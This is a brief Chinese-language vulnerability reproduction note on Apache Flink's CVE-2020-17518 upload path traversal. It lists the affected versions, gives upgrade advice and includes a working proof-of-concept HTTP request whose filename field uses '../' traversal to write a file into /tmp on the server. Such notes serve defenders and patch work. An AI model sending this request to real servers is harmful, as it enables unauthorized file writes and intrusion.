Apache Flink上传路径遍历(CVE-2020-17518)

0x01 简介

Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。

0x02 漏洞编号

CVE-2020-17518

0x03 影响版本

Flink 1.5.1-1.11.2

0x04 漏洞复现

POC

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

查看服务器/tmp目录下有文件被创建

0x05 修复建议

  1. 安全版本:
  2. Flink 1.11.3或Flink 1.12.0

0x06参考文章

https://mp.weixin.qq.com/s/xfD3TyK505x7k4hu7KwmeA

原文地址:https://www.cnblogs.com/dyanbk/p/14271185.html